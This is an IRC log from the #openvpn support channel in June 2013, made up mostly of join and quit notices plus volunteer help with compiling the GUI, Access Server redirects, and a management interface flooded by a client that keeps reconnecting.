16:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
16:25 -!- Denial [Denial@90.205.133.229] has quit []
16:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:31 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has quit [Ping timeout: 252 seconds]
16:46 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
17:01 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 246 seconds]
17:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
17:56 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
18:20 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
18:27 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:36 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 246 seconds]
18:41 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn []
18:47 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
18:48 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
18:51 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Read error: Connection reset by peer]
18:52 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
18:53 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 268 seconds]
18:57 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
18:57 -!- mode/#openvpn [+o raidz] by ChanServ
20:05 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
20:08 -!- raidz is now known as raidz_away
20:26 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
20:37 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
21:40 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
21:41 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 260 seconds]
21:41 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Ping timeout: 260 seconds]
21:42 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 260 seconds]
21:42 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 260 seconds]
21:43 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
21:43 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
21:43 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 268 seconds]
21:43 -!- michaelhart_ is now known as michaelhart
21:43 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
21:44 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
21:44 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
21:44 -!- Champi [Champi@rootshell.fr] has joined #openvpn
21:48 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:11 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
22:12 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
22:14 -!- Devastator [~devas@186.214.15.80] has joined #openvpn
22:26 -!- eennaam [~pi@unaffiliated/eennaam] has quit [Remote host closed the connection]
22:39 -!- oc80z [oc80z@blea.ch] has quit [Ping timeout: 248 seconds]
22:39 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
22:40 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Read error: Operation timed out]
22:40 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
22:40 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Quit: Leaving]
22:40 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 255 seconds]
22:45 -!- oc80z [oc80z@blea.ch] has joined #openvpn
22:45 -!- [fred] [fred@konfuzi.us] has joined #openvpn
22:50 -!- Netsplit *.net <-> *.split quits: gardar, piele, krphop, patelx, lamba, RichardBronosky, liriel, midacts, pcdummy, Devastator,  (+2 more, use /NETSPLIT to show all of them)
22:51 -!- Netsplit over, joins: RichardBronosky
22:52 -!- Netsplit *.net <-> *.split quits: pwrcycle, CEnnis91, DrCode, MorgyN, thumbs
22:52 -!- Devastator [~devas@186.214.15.80] has joined #openvpn
22:52 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
22:52 -!- lamba [~lamba@unaffiliated/lamba] has joined #openvpn
22:52 -!- gardar [~gardar@gardar.net] has joined #openvpn
22:52 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
22:52 -!- liriel [~liriel@aphrodite.feralhosting.com] has joined #openvpn
22:52 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
22:52 -!- Dave2 [~Dave2@freenode/staff/dave2] has joined #openvpn
22:52 -!- deever [~deever@78.46.68.172] has joined #openvpn
22:52 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
22:52 -!- patelx [chirayu@voyager.chirayu.net] has joined #openvpn
22:53 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Excess Flood]
22:53 -!- EmLeX [~emx@37.46.193.18] has joined #openvpn
22:53 -!- Netsplit over, joins: DrCode, CEnnis91, MorgyN, thumbs, pwrcycle
22:54 -!- Netsplit *.net <-> *.split quits: lamba, liriel, Devastator, Dave2, piele, pcdummy, midacts, gardar, deever, patelx,  (+1 more, use /NETSPLIT to show all of them)
22:54 -!- EmLeX [~emx@37.46.193.18] has quit [Max SendQ exceeded]
22:55 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
22:55 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
22:55 -!- Netsplit over, joins: Devastator, midacts, lamba, gardar, piele, liriel, pcdummy, Dave2, deever, krphop (+1 more)
23:15 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
23:38 -!- mitz [~mitz@rt.miraclelinux.com] has joined #openvpn
23:38 -!- tjz [~tjz@unaffiliated/tjz] has quit [Quit: quit irc]
23:52 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
23:52 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
23:55 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 264 seconds]
--- Day changed Wed Jun 19 2013
00:00 -!- C-S-B [~C-S-B@host81-159-157-214.range81-159.btcentralplus.com] has joined #openvpn
00:15 -!- sppadic [~sppadic@193.130.68.17] has quit [Ping timeout: 260 seconds]
00:25 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
01:06 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
01:08 -!- dioz_ [~dioz@2001:470:d:e3::1] has joined #openvpn
01:09 -!- MacGyver_ [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
01:09 -!- cj_ [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
01:09 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
01:09 -!- EugeneK [eugene@badcryp.to] has joined #openvpn
01:09 -!- majuscul1 [~dylan@dylansserver.com] has joined #openvpn
01:09 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Read error: Operation timed out]
01:09 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Read error: Operation timed out]
01:09 -!- Cybert1nus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
01:09 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Operation timed out]
01:09 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has quit [Read error: Operation timed out]
01:09 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Read error: Operation timed out]
01:09 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Read error: Operation timed out]
01:09 -!- thalweg [~quassel@198.211.102.196] has quit [Read error: Operation timed out]
01:09 -!- nowak [~nowak@s05.rozz.eu] has quit [Read error: Operation timed out]
01:09 -!- EugeneKay [eugene@badcryp.to] has quit [Read error: Operation timed out]
01:09 -!- majuscule [~dylan@dylansserver.com] has quit [Read error: Operation timed out]
01:09 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Read error: Operation timed out]
01:09 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Read error: Operation timed out]
01:09 -!- Tera [~tera@ip133-114.seclan.com] has quit [Read error: Connection reset by peer]
01:09 -!- nutron [~nutron@unaffiliated/nutron] has quit [Read error: Operation timed out]
01:09 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Operation timed out]
01:10 -!- EugeneK is now known as EugeneKay
01:10 -!- thalweg [~quassel@198.211.102.196] has joined #openvpn
01:10 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
01:10 -!- mode/#openvpn [+o plaisthos] by ChanServ
01:10 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
01:11 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has quit [Ping timeout: 252 seconds]
01:11 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 252 seconds]
01:11 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
01:12 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
01:12 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
01:13 -!- Fiouz [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
01:13 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
01:14 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
01:16 -!- WormFood [~wormfood@124.42.149.101] has quit [Ping timeout: 240 seconds]
01:21 -!- WormFood [~wormfood@124.42.149.101] has joined #openvpn
01:22 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
01:30 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has joined #openvpn
01:30 -!- flo|va-nu-pied [~florent@reverse-230.fdn.fr] has quit [Changing host]
01:30 -!- flo|va-nu-pied [~florent@unaffiliated/flovanupied/x-758957] has joined #openvpn
01:30 -!- patchie [~sdf@136.81-167-201.customer.lyse.net] has quit [Ping timeout: 248 seconds]
01:41 -!- trumee [~parul@93.186.157.23] has quit [Read error: Connection reset by peer]
01:42 -!- mitz [~mitz@rt.miraclelinux.com] has quit [Quit: WeeChat 0.4.1]
01:44 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:44 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:44 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:55 -!- mitz [~mitz@rt.miraclelinux.com] has joined #openvpn
02:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
02:19 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
02:20 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Quit: ChatZilla 0.9.89-rdmsoft [XULRunner 1.9.0.17/2009122204]]
02:20 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Client Quit]
02:20 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
02:29 -!- jww [~jww@LPuteaux-156-14-28-187.w82-127.abo.wanadoo.fr] has left #openvpn []
02:31 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
02:35 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
02:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
02:37 -!- mode/#openvpn [+o mattock] by ChanServ
02:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:12 -!- dazo_afk is now known as dazo
03:12 -!- newbie|3 [~tjz@bb116-14-175-197.singnet.com.sg] has joined #openvpn
03:15 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
03:15 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 276 seconds]
03:37 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:45 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:53 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 256 seconds]
04:06 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
04:10 < jzaw> !ping
04:10 <@vpnHelper> pong
04:14 -!- mitz [~mitz@rt.miraclelinux.com] has quit [Ping timeout: 246 seconds]
04:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 246 seconds]
04:22 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
04:25 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
04:35 -!- Gryllida [quasselcor@freenode/staff/gry] has joined #openvpn
04:49 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 246 seconds]
04:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:59 -!- mattock is now known as mattock_afk
05:03 -!- mattock_afk is now known as mattock
05:04 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
05:06 -!- [fred] [fred@konfuzi.us] has joined #openvpn
05:16 -!- thumbs [~avenger@unaffiliated/thumbs] has quit [Ping timeout: 264 seconds]
05:17 -!- thumbs [~avenger@unaffiliated/thumbs] has joined #openvpn
05:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
05:49 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 256 seconds]
05:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
06:02 -!- noecc [~irc@unaffiliated/noecc] has joined #openvpn
06:16 -!- mucahit [~mucahit@95.183.198.133] has joined #openvpn
06:17 < mucahit>  hello friends, I wanna compile openvpn gui, I am trying last 2 days but couldnt handle it yet
06:18 < mucahit> i am getting same error at cygwin and linux cross compile
06:18 < mucahit> configure: error: This project is supported for windows only.
06:20 -!- Tera_ is now known as Tera
06:20 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
06:20 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
06:33 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:46 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:56 -!- midacts [~midacts@207.59.77.254] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- The alternative IRC client]
06:57 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
06:57 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
06:58 <@ecrist> mucahit: the error is pretty clear.
07:00 < mucahit> yes i found and fixed this error and now i have fresh one :)
07:01 < mucahit> /usr/bin/i686-w64-mingw32-ld: cannot find -lcrypto
07:01 -!- gffa [~unknown@unaffiliated/gffa] has quit [Ping timeout: 256 seconds]
07:09 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:22 -!- Gryllida is now known as randomgry
07:23 -!- mitz [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has joined #openvpn
07:45 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:54 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
07:57 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 260 seconds]
07:59 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
08:03 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
08:03 -!- dioz_ [~dioz@2001:470:d:e3::1] has quit [Remote host closed the connection]
08:03 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
08:18 -!- jww [~jww@LPuteaux-156-14-28-187.w82-127.abo.wanadoo.fr] has joined #openvpn
08:18 < jww> Hello.
08:18 < EugeneKay> mucahit - the questions begs answering: why are you compiling when packages are provided?
08:19 < jww> I use telnet to connect to the management console, but there are a lot of debug messages starting with '>CLIENT:...' like 25 lines every 5 seconds.
08:19 < mucahit> We are changing turkish translate and build again for our university
08:19 < jww> does somebody know how I can mute it ?
08:19 < mucahit> and i fixed second issue too
08:19 < mucahit> thanks
08:20 < EugeneKay> Makes sense, then. Carry on.
08:28 <@dazo> mucahit: if you provide those translations to the developer, he'll usually apply them to the code tree rather quick
08:29 <@dazo> and if mattock is in a good mood and is given right arguments ... he might be persuaded to spin a new official windows build
08:32 < mucahit> Actually we changed something specific  things, for example i changed "username" to  "student number"
08:35 < mucahit> I have one more question please dont shoot me :D
08:36 < mucahit>     LTEXT "Tc Kimlik No/Öğrenci No:", 201, 9, 8, 45, 10 this label is too long and it dont show after "/"
08:37 < mucahit> I think this is " 201, 9, 8, 45, 10" for sizes can you tell me how can make longer this dialog and label
08:37 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
08:37 -!- lmm_ is now known as lmm
08:50 -!- mattock is now known as mattock_afk
08:51 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
08:56 -!- mucahit [~mucahit@95.183.198.133] has quit [Remote host closed the connection]
09:02 <@dazo> hmmm ... this is a clever product:  https://www.adafruit.com/products/1410
09:02 <@vpnHelper> Title: Onion Pi Pack w/Small Antenna - Make a Raspberry Pi Tor Proxy ID: 1410 - $89.95 : Adafruit Industries, Unique & fun DIY electronics and kits (at www.adafruit.com)
09:03 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
09:06 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 256 seconds]
09:16 < monk> Hi, I cannot seem to login to a centos server running openvpn-as with my AD accounts on the admin panel, even though I have set the account in openvpn to admin
09:16 < monk> any ideas?
09:16 < EugeneKay> !as
09:16 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
09:16 < monk> EugeneKay, same difference
09:16 < monk> plus no one replies in as
09:16 < EugeneKay> Uh, no it isn't?
09:17 < monk> EugeneKay, can you help me or not?
09:17 < EugeneKay> There is nothing built-in to the GPL openvpn that deals with AD accounts or an admin panel.
09:17 < EugeneKay> With that attitude? Nope.
09:17 < monk> EugeneKay, i have setup accounts and given them admin privs, but i cannot login to the admin panel with them
09:17 -!- mode/#openvpn [+o EugeneKay] by ChanServ
09:17 -!- monk was kicked from #openvpn by EugeneKay [We don't support AS.]
09:17 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
09:18 < monk> EugeneKay, lets try this again
09:18 < monk> it is a bug or something?
09:19 <@EugeneKay> !no_as
09:19 <@vpnHelper> "no_as" is (#1) go to http://openvpn.net/index.php/access-server/support-center.html for support with access server (see !AS to know about access server) or (#2) not only do we not know AS here, but even if we did we would be tainting the professional level of support included in AS by supporting it here. it comes with REAL support. we are just users helping users around here
09:19 <@EugeneKay> I don't know how else to put it for you
09:20 < monk> EugeneKay, so you cannot help me and have no ideas as to why its not letting me in
09:20 <@EugeneKay> None.
09:20 < monk> useless
09:20 <@EugeneKay> !refund
09:20 <@vpnHelper> "refund" is If you are not satisfied with the GPL openvpn, or the support provided by the volunteers of #openvpn, you are entitled to a full refund of the purchase price and are invited to use another VPN solution. Elsewhere.
09:21 < monk> am i entitled to a working product? i've been using the old version for years and now with the update find it unstable
09:22 <@EugeneKay> I have no idea; ask the AS guys. Which we are not.
09:22 < monk> I am
09:22 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
09:25 < jww> so nobody know why the telnet management console spam me debug messages ?
09:25 <@EugeneKay> It's not a debug message, that's what the management console does.
09:26 < jww> EugeneKay: but it does that every 5 seconds, I can't even type a command a read a message.
09:26 < jww> EugeneKay: I use openvpn at some other place, I don't have the same behavior.
09:26 < monk> !bug
09:27 <@EugeneKay> https://github.com/OpenVPN/openvpn/blob/master/doc/management-notes.txt#L199
09:27 <@vpnHelper> Title: openvpn/doc/management-notes.txt at master · OpenVPN/openvpn · GitHub (at github.com)
09:27 <@EugeneKay> Read ^
09:27 < jww> okay !
09:28 <@EugeneKay> Past that, logs and configs so it can be seen what you're actually doing / looking at.
09:29 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 256 seconds]
09:32 -!- Twinkletoes [~chatzilla@90.155.97.196] has joined #openvpn
09:33 < monk> EugeneKay, I managed to get help in #openvpn-as
09:34 <@EugeneKay> Good. That's not us.
09:34 -!- michaelhart [~michaelha@162.209.1.130] has left #openvpn []
09:34 < jww> EugeneKay: I don't see anything that turn off those messages in the doc, but I may have missed something.
09:34 < jww> I'm doing the paste .
09:35 <@dazo> jww: you probably skipped the 'log' command?
09:35 <@dazo>   log off    -- Turn off real-time notification of log messages.
09:35 <@EugeneKay> That was the one that I linked. ;-)
09:35 <@EugeneKay> !read
09:35 <@vpnHelper> "read" is <krzee> ive been known to overreact when people look for 2 minutes and ask me to explain it to them
09:36 <@dazo> EugeneKay: I'd say jww should step carefully now ......
09:36 <@EugeneKay> As long as he doesn't call me useless and demand support for a paid product, I think he's good.
09:37 <@dazo> heh ... you're too generous!
09:37 <@dazo> ;-)
09:37 < rawtaz> EugeneKay: it might be a good idea to make the factoids such as !as and/or !no_as be a bit more clear on the fact that this OpenVPN and the Access Server are completely unrelated, just to make it super clear. that way i think newcomers will get it and understand that better than with how the factoids are formulated now
09:37 <@dazo> !as
09:37 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
09:37 <@dazo> hmm .... perhaps
09:37 <@dazo> !no_as
09:37 <@vpnHelper> "no_as" is (#1) go to http://openvpn.net/index.php/access-server/support-center.html for support with access server (see !AS to know about access server) or (#2) not only do we not know AS here, but even if we did we would be tainting the professional level of support included in AS by supporting it here. it comes with REAL support. we are just users helping users around here
09:37 <@EugeneKay> !whoami
09:37 <@vpnHelper> I don't recognize you.
09:38 <@EugeneKay> I'd add something to AS, but the bot still doesn't love me.
09:38 <@dazo> EugeneKay: what would you like it to say?
09:38 < rawtaz> what i mean is that i get the current text, but while it says that we dont know AS in here, it doesnt really explain that AS is a completely separate thing not having any affiliation with this channel
09:38 < rawtaz> EugeneKay: aww, sorry to hear that :(
09:38 <@dazo> !whoami
09:38 <@vpnHelper> developers
09:39 < jww> dazo: sorry I was re reading the doc.
09:39 < jww> dazo: I don't know why the log off command doesn't change anything.
09:39 <@EugeneKay> "AS is a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the "Community" openvpn, which we support here"
09:40 <@dazo> !learn as as AS is a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the "Community" openvpn, which we support here.
09:40 <@vpnHelper> Joo got it.
09:40 <@dazo> !as
09:40 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
09:40 <@dazo> duh
09:40 <@EugeneKay> Dat as
09:40 <@dazo> !learn  AS as a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the "Community" openvpn, which we support here.
09:40 <@vpnHelper> Joo got it.
09:40 <@dazo> !as
09:40 <@vpnHelper> "as" is (#1) please go to #OpenVPN-AS for help with Access-Server or (#2) a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the Community openvpn, which we support here.
09:40 <@dazo> too many as'es :-P
09:41 <@EugeneKay> Meh, close enough.
09:41 <@EugeneKay> !AS
09:41 <@vpnHelper> "AS" is (#1) please go to #OpenVPN-AS for help with Access-Server or (#2) a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the Community openvpn, which we support here.
09:41 < jww> EugeneKay / dazo here is the config file , and what I see in the console :  http://pastebin.com/mkmi6nXA
09:41 <@EugeneKay> Try !learn AS as AS is a....
09:42 <@EugeneKay> jww - those are the standard messages produced by a client logging in.
09:42 <@dazo> "nothing usefull there" ... sorry bro ... that's not up to you to figure out when you ask for help
09:42 <@EugeneKay> And you may think the logs are not useful, but you're also the one who can't find the issue. ;-)
09:42 <@dazo> !learn AS as AS is a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the "Community" openvpn, which we support here.
09:42 < jww> oh dude slow down
09:42 <@vpnHelper> Joo got it.
09:42 <@dazo> !as
09:43 <@vpnHelper> "as" is (#1) please go to #OpenVPN-AS for help with Access-Server or (#2) a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the Community openvpn, which we support here. or (#3) AS is a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the Community openvpn, which we support here.
09:43 < jww> I'm not some noob doesn't reading the logs and the docs.
09:43 < rawtaz> haha
09:43 <@dazo> !forget as 2
09:43 <@vpnHelper> Joo got it.
09:43 <@dazo> !as
09:43 <@vpnHelper> "as" is (#1) please go to #OpenVPN-AS for help with Access-Server or (#2) AS is a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the Community openvpn, which we support here.
09:43 <@dazo> got it! :)
09:43  * EugeneKay golfclaps
09:43 < jww> there is nothing in that logs that could explain why I'm getting those messages.
09:43 <@EugeneKay> Well, you are.
09:43 < rawtaz> dazo: ah, you want both of them to be in there?
09:43 <@EugeneKay> And arguing with us will not get you any support at all
09:43 <@EugeneKay> So, paste the logs or take your refund
09:44 < jww> okay I'll paste the logs.
09:44 <@dazo> rawtaz: nah, one place is good enough for now :)  .... people more often hit !as than !no_as anyhow ... as it's 3 bytes shorter :-P
09:45 < rawtaz> dazo: i'd suggest  "a commercial product by OpenVPN Technologies Inc, and is NOT the same thing as the community OpenVPN, which we support here. Please go to #OpenVPN-AS for help with OpenVPN Access Server."
09:45 <@dazo> wtf .... push "dhcp-option DNS 10.50.50.1"  in a client config!?!
09:45 < rawtaz> i.e. just one, which also clarifies the relationship first of all, instead of the two current ones
09:45 < jww> dazo: it's server config.
09:45 -!- Twinkletoes [~chatzilla@90.155.97.196] has left #openvpn []
09:45 <@EugeneKay> dazo - that's highly encoding dependent. http://en.wikipedia.org/wiki/UTF-9_and_UTF-18
09:45 <@vpnHelper> Title: UTF-9 and UTF-18 - Wikipedia, the free encyclopedia (at en.wikipedia.org)
09:46 <@dazo> ahh, right ... sorry!  I misread
09:46 <@EugeneKay> rawtaz - there's a policy around here to not munge earlier factoids, so meh.
09:46 < rawtaz> EugeneKay: yeah? well, there's always room for refreshing things :D
09:47 < rawtaz> but it's you guys' call, not mine. i just wanted to look important by suggesting an awesome text :P
09:47 <@dazo> EugeneKay: I like  UTF-9!
09:47 <@dazo> good thinking there!
09:50 < jww> dazo / EugeneKay : I updated with some part of the logs, there are lots so it's far from complete. http://pastebin.com/2fKKed7x
09:50  * dazo ignores jww now
09:51 <@EugeneKay> Line 62 is your reason
09:51 <@EugeneKay> Your client is constantly reconnecting, generating logs of messages on the management interface(and in the log file)
09:51 <@EugeneKay> Head --> desk
09:51 < jww> EugeneKay: that is right, but it's normal ? I mean I cannot setup all the client by myself ?
09:52 <@EugeneKay> It's a normal message, yes. This is what I told you some time ago.
09:52 <@EugeneKay> As for the second question, wat?
09:53 < jww> I don't setup the clients, others people does and they can setup it badly ( like now ), I'm not asking on how to correct the client problem, but how I can still use the telnet console when this happen.
09:54 <@dazo> remove "management 127.0.0.1 1000 /etc/openvpn/keys/.secret" from your config ... problem solved ... or fix the client configs
09:54 <@EugeneKay> Beat the user into submission.
09:54 < jww> dazo: dunno why you're aggressive with me.
09:55 < jww> I thin you guys see now the answer to my question is not in the doc  you gave me.
09:58 <@dazo> jww: right ... the problem was in the log you didn't initially want to show us, because it was "nothing useful there" .... and you still want to have it fixed in the management console, when it is caused by a faulty client reconnecting .... that's barking up the wrong tree
09:58 <@EugeneKay> That's because the question you asked was wrong
09:58 <@dazo> in addition
09:59 <@dazo> we actually have all the right to be pissed when people deliberately ignores log lines containing: WARNING
09:59 < jww> EugeneKay: yes I should have used a better formulation sorry.
10:00 < jww> dazo: I don't know what to say to that. ok my question was bad, but that log seems still useless to me.
10:01 < jww> I think my question should have been : 'how is it possible to hide log messages from the telnet management console' or something.
10:01 <@dazo> you probably don't care if you cross a light crossing when the lights are red too ... as it probably seems useless to stop
10:02 <@EugeneKay> It isn't, AFAIK. That would ruin the point of the management console.
10:02 < jww> dazo: so tell me what give me any hints on how to remove ALL logs messages from that management console ?
10:02 <@dazo> jww: FIX THE DAMN CLIENT
10:02 <@EugeneKay> It's not really a "console", more of an interface meant for your console to hook into.
10:02 < jww> dazo: I don't have any accés to the client.
10:02 <@dazo> so block the client
10:03 <@dazo> deny access
10:03 <@EugeneKay> iptables -A INPUT -s $CLIENT_IP -j DROP
10:03 < jww> EugeneKay: I can use commands like 'status' but I can't read the output because it's flooded.
10:03 <@EugeneKay> Tada, quieter logs.
10:03 <@EugeneKay> Yup. That's how it works.
10:03 < rob0> !verb
